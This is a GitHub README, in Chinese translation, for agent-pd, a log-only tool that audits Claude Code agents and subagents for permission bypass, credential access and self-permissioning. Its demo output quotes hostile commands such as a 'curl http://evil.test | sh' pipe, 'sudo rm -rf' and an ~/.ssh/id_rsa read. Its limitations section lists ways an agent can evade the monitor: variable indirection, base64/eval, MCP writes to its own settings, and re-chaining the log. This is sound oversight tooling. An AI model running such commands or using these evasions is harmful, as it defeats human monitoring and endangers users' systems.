varmabudharaju/agent-pd

GitHub: varmabudharaju/agent-pd

agent-pd 是一个仅记录不阻塞的 Claude Code agent 行为审计 hook 与 CLI,通过六个确定性检测器追踪主 agent 及所有子 agent 的权限和工具调用违规,并提供引用证据。

Stars: 16 | Forks: 3

# agent-pd ### 为你的 Claude Code agent 们设立的警察局 一个仅记录的 hook 会记录来自主 agent **及其** subagent 的每一个工具 & 权限事件;`pd` CLI 会通过六个检测器重放该日志,并报告带有引用证据的违规行为。**只捕获并报告——它从不阻塞。** [![License: Apache 2.0](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](https://github.com/varmabudharaju/agent-pd/blob/master/LICENSE) [![Python 3.11+](https://img.shields.io/badge/Python-3.11%2B-3776AB.svg?logo=python&logoColor=white)](https://github.com/varmabudharaju/agent-pd/blob/master/pyproject.toml) [![Tests](https://img.shields.io/badge/tests-474_passing-brightgreen.svg)](https://github.com/varmabudharaju/agent-pd/tree/master/docs/manual-tests/) [![Version](https://img.shields.io/badge/version-0.2.0-orange.svg)](https://github.com/varmabudharaju/agent-pd/blob/master/pyproject.toml) [![Runtime deps](https://img.shields.io/badge/runtime_deps-PyYAML_only-lightgrey.svg)](https://github.com/varmabudharaju/agent-pd/blob/master/pyproject.toml) **[快速开始](#quickstart)** · **[工作原理](#how-it-works-mental-model)** · **[检测器](#the-detectors)** · **[架构](https://github.com/varmabudharaju/agent-pd/blob/master/ARCHITECTURE.md)** · **[安全性](https://github.com/varmabudharaju/agent-pd/blob/master/SECURITY.md)**
## 当场抓获
agent-pd demo — the police scanner catching agents in the act 观看带声音的完整片段
![capture vs. read](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/6053713240165408.png) **亮点** - **覆盖主 agent + 每一个 subagent**,包括由 Claude Code 新的动态 **Workflow** 工具生成的 subagent(已根据记录的 `workflow-subagent` hook 事件进行验证)。 - **六个确定性检测器**,**零 token 成本** —— 被拒绝的调用、超出范围 & 的凭证访问、绕过权限、自我授权、不允许的工具、偏离任务的工作。 - **防篡改审计日志**(哈希链),带有可选的**主机外只追加 sink**。 - **会话有名称,而不是 UUID** —— `pd list` 和 `pd watch` 显示每个会话的项目目录和第一个用户提示,这些是从日志中已有的数据派生出来的(可追溯适用)。 - **设计诚实** —— 它提高了门槛;它**不是**一个 sandbox。参见 [SECURITY.md](https://github.com/varmabudharaju/agent-pd/blob/master/SECURITY.md)。 **它的样子** —— 跨越三个并发会话的 `pd watch --all`(三个项目,主 agent + 带有其任务简报的 subagent,在普通工作中有两个真实标记和一个边界搜索): pd watch --all: merged live feed across three sessions — § intro line per session, agent banners with briefs, two genuine flags (a credentials read and a denied curl|sh) and one off_task review ## 为什么存在 Claude Code agent 可以读取文件、运行 shell 命令并生成 subagent。其中大部分都没问题 —— 但你通常只有通过滚动记录才能发现 agent *实际上做了什么*,而且**被拒绝的调用根本不会到达记录中**(Claude Code 会先杀死它们)。agent-pd 安装了一个 hook,将每个事件记录到按会话划分的审计日志中,然后为你提供工具来询问:*是否有任何 agent 超出范围、触及凭证、试图提权、编辑自己的配置、使用了不允许的工具,或者偏离了它的任务简报?* ## 工作原理(心智模型) ``` SETUP CAPTURE (automatic, every session) READ (per session or --all) pd install-hook → hook fires on every tool call → pd report (forensic) │ │ pd watch (live scanner) settings.json ~/.claude/pd/audit/.jsonl pd judge (opt-in LLM pass) ```

agent-pd system context

- **hook 是一个哑的、崩溃安全的记录器。** 在 `~/.claude/settings.json` 中全局注册 PostToolUse / PermissionDenied / SubagentStart / SubagentStop。在每个事件中,它会向**按会话划分**的审计文件追加一行标准化、哈希链的记录,并且**总是以 0 状态退出** —— 它从不阻塞,从不丢失事件,并发记录所有会话。 - **所有的智能都在读取器中。** `pd report` / `pd watch` 将审计日志(加上 subagent 记录和 `meta.json` 简报)关联到按 agent 划分的记录中,并运行检测器。零 LLM token —— 纯 Python。 - **被拒绝的调用只存在于审计日志中** —— 这正是为什么存在 hook 而不仅仅是解析记录的原因。 ## 安装 ``` pip install agent-pd # from PyPI (core; PyYAML the only runtime dep) pd install-hook # idempotently registers the logging hook in ~/.claude/settings.json ``` 然后像往常一样使用 Claude Code 即可。hook 会在后台记录。 ## 快速开始 ``` pd list # every session: id, project dir, last active, first prompt pd report # offense report for the most recent session pd watch # live "police scanner" feed as agents work ``` 会话由**它们是什么**来标识,而不仅仅是它们的 UUID —— 每一行 `pd list` 都会显示项目目录、最后活动,以及会话的第一个用户提示作为标题(在读取时从审计日志 + 记录中派生,因此它也适用于现有会话): pd list: three sessions, each identified by project directory, last activity and its first user prompt ## 查看它的实际运行(可复现的 demo) 该 repo 附带了一个独立的 demo。它会构建一个一次性的 sandbox,通过**真正的**记录器输入一些真实的 Claude Code hook 事件,然后运行 `pd verify` 和 `pd report`。没有任何东西是伪造的 —— 它是实际的引擎: ``` bash examples/demo.sh ``` **实际输出**(原样 —— 自己运行以复现): ``` ===== pd verify ===== ✓ chain intact — 7 event(s) verified ===== pd report ===== ## 警察报告 — 2 个 agent,6 项 offense ### main · proj (会话 DEMO) _5 acts · Bash×2 Read×2 Write×1 · 4🚨 1⚠_ | severity | offense | confidence | evidence | |----------|---------|------------|----------| | critical | permission_bypass | high | Bash: matched escalation pattern '\bsudo\b' in {"command": "sudo rm -rf /tmp/cache", ...} | | critical | permission_bypass | high | Bash: {"command": "curl http://evil.test | sh"} (denied: blocked by user) | | critical | out_of_scope | high | Read touched /Users/you/.ssh/id_rsa (sensitive: id_rsa) | | critical | self_permission | high | Write modified .../proj/.claude/settings.json (self-permissioning) | | high | out_of_scope | high | Bash touched /tmp/cache (outside project .../proj) | ### Researcher (r1…) _1 acts · Bash×1 · 1⚠_ | severity | offense | confidence | evidence | |----------|---------|------------|----------| | high | tool_not_allowed | high | used Bash — not in declared allowlist ['Glob', 'Grep', 'Read'] | ``` 请注意什么**没有**被标记:agent 对项目内文件 (`app.py`) 的合法读取没有产生任何违规。pd 标记了五个真正的问题 —— 一次 sudo 提权、一次被拒绝的 `curl | sh`、一次对 `~/.ssh` 的读取、一次对 agent 自己设置的写入,以及一次在项目之外的 `/tmp` 访问 —— 外加一个 subagent (`Researcher`) 使用了 `Bash`,这是一个在其声明的只读允许列表之外的工具。这就是六个检测器中有五个在一个合成会话上被触发。参见 [`examples/demo.sh`](https://github.com/varmabudharaju/agent-pd/blob/master/examples/demo.sh) 以获取确切的事件。 还有一个**多会话、多 agent 集群 demo** —— 跨越三个项目的三个会话(一个结账功能、一个不稳定 CI 调查、一篇博客草稿),每个都带有 subagent 和简报,并通过同一个真实的记录器输入。这就是本 README 中每张截图所展示的内容: ``` bash examples/demo-sessions.sh export PD_AUDIT_DIR=/tmp/pd-demo-fleet/audit pd list --projects-dir /tmp/pd-demo-fleet/projects pd watch --all --replay --projects-dir /tmp/pd-demo-fleet/projects ``` 集群的不稳定 CI 会话上的 `pd report` —— 按 agent 摘要的摘要、违规表、引用证据: pd report for the orders-api session: per-agent digest and offense table with quoted evidence ## 命令 ``` pd install-hook # register the logging hook (one-time) pd list # every session: id · project · last active · “first prompt” pd report # offense report, most recent session pd report --session --format md # md | json | both pd report --verbose # full evidence + files-touched per agent pd report --agent # focus one agent: digest + every action it took pd watch # live feed, most recent session — streams NEW activity # from now (like tail -f); existing backlog is skipped pd watch --replay # replay the whole session's backlog first, then tail pd watch --all # merged feed across ALL sessions (§session tag; an intro # line names each session's project + first prompt) pd watch --crimes-only # quiet unless something's wrong pd watch --verbose # full commands + reasons, no truncation pd watch --session --no-color --no-emoji # plain terminals / SSH pd verify # check the audit-log hash-chain (most recent session) pd verify --all # verify every session; exit 2 on tamper/truncation # set PD_AUDIT_KEY for HMAC-keyed integrity pd judge # dry run (free): items / agents / ≈token estimate pd judge --run --via-claude-code # confirm off_task flags on your Claude subscription pd judge --run --model sonnet --max 20 # or via the metered Anthropic API pd compact [--session ID] [--prune-older-than DAYS] [--dry-run] # gzip old logs (.jsonl -> .jsonl.gz); skips the active # session; lossless for detection. Optional age-based prune. pd sink push [--session ID] [--all] # forward un-sent chained events off-host (append-only sink) pd sink status [--session ID] [--all] # forwarded/last per session; flags "remote ahead" ``` ## 检测器 六个确定性检测器(零 token)加上一个可选的 LLM 通道。 | 违规 | 严重性 | 抓住的内容 | 置信度 | |---|---|---|---| | `permission_bypass` | critical | 被拒绝的调用 + 一个**两层** Bash 扫描:绝不降级的灾难性操作(`rm -rf /`、fork bomb、`curl\|sh`、`dd of=/dev/…`)在任何允许规则下保持 critical;可降级的提权(sudo、`chmod 777`、cwd-wipe)仅通过精确规则降级。 | high | | `out_of_scope` | high / critical | 项目(自动:git root 或 cwd)之外的文件**或** Bash 路径,或配置的 `scope_dirs` 之外。敏感路径(`~/.ssh`、`~/.aws`、`~/.claude`、`/etc/shadow`、shell 历史…)**始终为 critical** 且从不降级。 | high | | `self_permission` | critical | **任何** agent 通过任何方法写入自己的控制文件(`.claude/settings*.json`、`.claude/agents/*.md`、`pd-rules*.yaml`) —— Write/Edit/NotebookEdit 或 Bash `cp`/`mv`/`tee`/`sed`/`python`/`base64`/redirect —— 无论内容如何。 | high | | `tool_not_allowed` | high | subagent 使用了在其声明的 `tools:` 允许列表 (`.claude/agents/.md`) 之外的工具。 | high | | `redundant` | low | 完全重复的工具调用(忽略 Bash `description` 噪声)。 | high | | `off_task` | review | 搜索/查询词与 agent 简报的对比,基于低于阈值的词汇重叠。 | **low — 启发式** | 五个确定性检测器是值得信赖且免费的。`off_task` 故意产生噪声,并被硬标记为低置信度 —— **judge**(如下)将其转变为高置信度判定。 ### 具备权限感知的严重性 当操作匹配你配置的权限**允许规则**(在 `~/.claude/settings.json` 或项目 `.claude/settings.local.json` 中的 `permissions.allow`)时,`out_of_scope` 和提权命中会**降级为安静的 `info` 严重性** —— *已授权 → info,未授权 → 完整严重性*。 匹配**忠实于 Claude Code 自身的语义**:shell 操作符拆分(`Bash(git:*)` 规则**不**允许 `git status && rm -rf ~`)、命令替换/反引号提取、作为单独授权的重定向目标、词边界前缀(`npm install:*` ≠ `npm installmalware`)以及 gitignore 风格的 glob。歧义解决**趋于保守 → 不允许**(漏报比误报更糟糕)。有两件事**绝不**降级:敏感路径访问和绝对灾难性的命令。被拒绝的调用无论如何都保持 critical —— 按照定义,拒绝就是不允许的。 ### off_task judge (`pd judge`) —— 可选、有成本上限 一个可选的 LLM 通道,它会读取每个 agent 的简报及其被标记的搜索,然后确认或丢弃嘈杂的 `off_task` 标记。构建为几乎不花任何成本: - **可选** —— 从不在 hook 或 `pd watch` 中运行。 - **默认 Dry-run** —— 打印一个预估;添加 `--run` 才会实际调用。 - **预过滤 + 批处理** —— 只有已经被标记的项目,每个 agent 一次 API 调用。 - **两个后端:** `--via-claude-code` 通过 shell 调用 headless `claude` CLI(**你的 Claude 订阅,无需 API key**),或者计费的 Anthropic API(`pip install -e ".[judge]"` + `ANTHROPIC_API_KEY`)。`--model haiku|sonnet|opus`(默认 haiku),`--max N`。 在 demo 集群中,orders-api subagent 钻牛角尖进入了与其简报零词汇重叠的 CI 基础设施搜索 —— 启发式算法将其标记以供审查,而 dry run 精确估算了确认它将花费的成本: pd judge dry run: the off_task heuristic flagged one borderline search; judging it would cost one batched haiku call — nothing runs without --run ## 实时视图:`pd watch` 一个实时反馈,显示你的 agent 正在做什么以及它们正在违反哪些规则。页眉**标明了它附加到的会话** —— 项目目录加上会话的第一个提示 —— 因此附加到默认(最近)的会话永远不会是一个谜: pd watch header naming the watched session: its project directory and first prompt, not just the UUID 每个 agent 都有一种稳定的颜色和一个带有其分配简报的横幅;每个动作都是一条带有严重性徽章的反馈行;一个实时的违规记录页脚汇总了每个 agent 的违规。使用 `--all`(跨越每个会话的合并反馈)时,会话首次出现时会打印一条 `§sid · project · “title”` 的介绍行,因此交错的会话保持可区分 —— 参见本 README 顶部的集群截图。 `--crimes-only` 保持反馈安静,除非确实出了问题 —— 只有被标记的操作才会流式传输 —— 并且 Ctrl-C 会打印最终的**违规记录**,汇总每个会话中的每个 agent: pd watch --all --crimes-only: quiet unless something is wrong — only the flagged actions stream, and Ctrl-C prints the final rap sheet tallying every agent in every session 零额外依赖 —— 仅 ANSI。完整的带注释截图集位于 [docs/test-evidence.md](https://github.com/varmabudharaju/agent-pd/blob/master/docs/test-evidence.md)。 ## 审计日志完整性 & 主机外 sink 每个事件都带有一个 `seq` 和一个 `chain = sha256(prev_chain + canonical(event))`(如果设置了 `PD_AUDIT_KEY`,则使用 HMAC-SHA256),由 hook 在按会话的文件锁下计算,并带有 `.head.json` 锚点。**`pd verify`** 会重新计算链并报告 `✓ intact`、`✗ TAMPER DETECTED` 或 `✗ TRUNCATED`(exit 2),并且跨 `pd compact` 保持有效。这是它真正捕获这两次攻击的情况 —— 从日志尾部删除了一个事件,然后在记录的命令中翻转了一个字节(压缩后的会话仍然验证通过): pd verify pinpoints both attacks: the truncated session is flagged TRUNCATED, and one flipped byte is flagged TAMPER DETECTED at seq 7, while the compacted session still verifies 这是防篡改**明显**,而不是防篡改证明**:具有 Bash 的同用户 agent 可以重新链接整个文件。为了弥合该差距的*追溯性删除*一半,**`pd sink push`** 会将每个链式事件转发到**主机外、只追加目标**(file 或 http 后端;仅限环境变量的 `PD_SINK_TOKEN`;远程 token 强制要求 `https://`;不跟随重定向)。一旦事件被发送到主机外,以后的本地的重写就无法触及它。**`pd sink status`** 会在发送的事件多于本地保留的事件时标记“remote ahead” —— 这是一个截断信号: pd sink: push all chained events to the off-host sink, status shows fully forwarded; after deleting one local event, status flags remote ahead — possible local tampering ## 缺少什么(诚实的局限性) agent-pd **提高了门槛;它不是一个 sandbox。** 使用混淆或间接的坚定的同等权限对手可以逃避静态检测。已知限制,通俗地说: - **混淆 / 间接逃避了静态检测。** 多级 `$VAR` 链(`A=/etc/shadow; B=$A; cat $B` —— 仅遵循单级展开)、`$IFS` / 词拆分技巧、两步下载后执行(`curl -o f url; sh f`)、base64/eval 组合的命令以及动态构建的路径可能会漏网。 - **非 Bash 文件写入 MCP 工具绕过了 `self_permission`。** 只有 Write/Edit/NotebookEdit 和 Bash 会被检查是否写入控制文件;具有不同形式的 filesystem MCP 工具可能会在未检测到的情况下写入 `.claude/settings.json`。 - **`off_task` 是启发式的**(词汇重叠),并且不能在主 agent 或 Workflow subagent 上运行(没有简报)。`pd judge` 是值得信赖的路径。 - **`~/.config` 的敏感性很广**,并且可能很嘈杂(它也保存无害的应用配置)。 - **工具*结果*不会被呈现** —— hook 捕获 `tool_input` 和一个结果标志,而不是完整的 `tool_response`,以防止审计日志膨胀。反馈显示 agent *做了什么*,而不是它的输出。 - **审计完整性是防篡改明显的,而不是防篡改证明**(上文),并且 off-host sink 的只追加保证由操作员负责。 - **符号链接解析是尽力而为的**(在分析时符号链接必须存在)。 - **早于 hook 的会话**(仅有记录,没有 `.jsonl`)不会出现在 `pd report` 中。 已发布/残留/拒绝项目的完整账本位于 [KNOWN-GAPS.md](https://github.com/varmabudharaju/agent-pd/blob/master/KNOWN-GAPS.md)。 ## 如何改进(路线图) 已按优先级排序,均不阻塞 —— 范围划分使得任何一个都可以被独立采用: 1. **工具无关的控制文件检测** —— 标记*任何*工具,其输入在写入形式的字段中指定了控制路径(弥补了 MCP `self_permission` 差距)。 2. **多级 `$VAR` 解析** —— 将变量替换迭代到不动点,从而使 2 跳间接(`B=$A`)不再隐藏敏感路径。 3. **在捕获时截断/限制 `tool_result`** 以保持原始的 `.jsonl` 较小。 4. **将 `~/.config` 敏感性缩小**到带有凭证的子路径(`gh`、`gcloud`、…)以减少噪声。 5. **Sink 增强** —— 分块大型 backlog、syslog 后端,以及 `pd verify --against-sink` 的回读对账。 6. **`pd summary `** —— 按 agent 摘要(触及的文件、时间跨度、工具直方图)。 7. **Judge 判定磁盘缓存** —— 跳过对相同(简报、搜索)对的重新判定。 8. **捕获更多 hook 事件**(`PostToolUseFailure`、`PreCompact`、`SessionEnd`)以丰富时间线。 ## 配置 agent-pd 开箱即用,无需配置 —— 每个规则(敏感路径、提权模式、严重性、`off_task` 阈值)都作为内置默认值提供。一个 `pd-rules.yaml` 文件是**可选的**,仅在覆盖这些默认值时才需要。 当你编写一个文件时,每个命令都会**自动发现**它 —— 不需要任何标志。在每次运行时,`pd` 会按此顺序查找 `pd-rules.yaml` 并使用它找到的第一个,深度合并到内置默认值之上: 1. 当前目录 2. 封闭的**项目根目录**(cwd 上方的 git 根目录) 3. `~/.claude/pd-rules.yaml`(所有项目的全局默认值) 优先级是 **`--rules ` › 自动发现的文件 › 内置默认值** —— 在任何命令(包括 `pd watch`)上传递 `--rules` 以指向特定文件并覆盖发现。参见本仓库中的 `pd-rules.yaml` 以获取每个受支持的键(`scope_dirs`、敏感路径、两个提权层级、严重性、`off_task_overlap_threshold`、`storage` 以及一个 `sink` 部分)。 主机外 sink 还会读取环境变量覆盖:`PD_SINK_TYPE=file|http`、`PD_SINK_PATH` / `PD_SINK_URL`、`PD_SINK_TIMEOUT`,以及**仅限环境变量的** `PD_SINK_TOKEN`(如果放置在配置文件中则会被忽略,因此它永远不会落入已签入或全局可读的文件中)。 ## 存储与隐私 ``` ~/.claude/pd/audit/.jsonl # live capture (hook appends here) ~/.claude/pd/audit/.jsonl.gz # compacted (pd compact, gzip) ``` 审计日志存储**完整的工具输入** —— 文件内容和 Bash 命令 —— 这**可能包含明文的机密**。它位于**你的 repo 之外**(不会被意外提交),但请像对待任何敏感的本地文件一样对待它。`pd compact` 会 gzip 压缩,它**不会**加密。除非你配置了 sink,否则不会上传任何内容。要清除它:`rm ~/.claude/pd/audit/*.jsonl`(它会在会话运行时重新填充)。 **选择日志的去向。** 默认值刻意设定为一个隐藏的、本地的、非 repo 的路径。要将日志放在你选择的位置,请设置 `PD_AUDIT_DIR`,或者在安装时将其固化到 hook 中: ``` pd install-hook --audit-dir ~/agent-pd-logs # hook + CLI both use this path # 或者,在每个 shell 中:export PD_AUDIT_DIR=~/agent-pd-logs ``` hook(写入)和每个 `pd` 命令(读取)都遵循 `PD_AUDIT_DIR`(优先级:`--audit-dir` 标志 › `PD_AUDIT_DIR` › 默认值)。**相对**路径在设置时会被解析为绝对路径(安装标志会固化绝对路径;`PD_AUDIT_DIR` 在读取时会被绝对化),因此日志总是放在一个固定的地方,而不是散落到每个 agent 碰巧运行的任何目录中。尽管管如此,**不要**将它指向 repo 文件夹或云同步目录(iCloud/Dropbox),除非你接受明文的工具输入 —— 可能是机密 —— 将被提交或同步到机外。 ## 开发 ``` pip install --user -e . # core pip install --user -e ".[judge]" # + anthropic SDK (only for the API judge backend) python3 -m pytest -q # 474 tests, pure (no API key needed) ``` 始终贯彻 TDD;检测器、渲染、实时和 judge 都在没有网络的情况下进行了单元测试。如需深入了解设计:[SYSTEM-DESIGN.md](https://github.com/varmabudharaju/agent-pd/blob/master/SYSTEM-DESIGN.md)(正式的设计文档 —— 目标、组件、权限模型、权衡)和 [ARCHITECTURE.md](https://github.com/varmabudharaju/agent-pd/blob/master/ARCHITECTURE.md)(图表)。如实的局限性和路线图位于 [KNOWN-GAPS.md](https://github.com/varmabudharaju/agent-pd/blob/master/KNOWN-GAPS.md)。 ## License [Apache License 2.0](https://github.com/varmabudharaju/agent-pd/blob/master/LICENSE) © Sai Ram Varma Budharaju。可免费使用、修改和分发(包括商业用途);保留版权和许可声明。包含专利授权。
标签:AI代理, Claude Code, Python, 审计日志, 恶意代码分类, 无后门, 行为监控, 逆向工具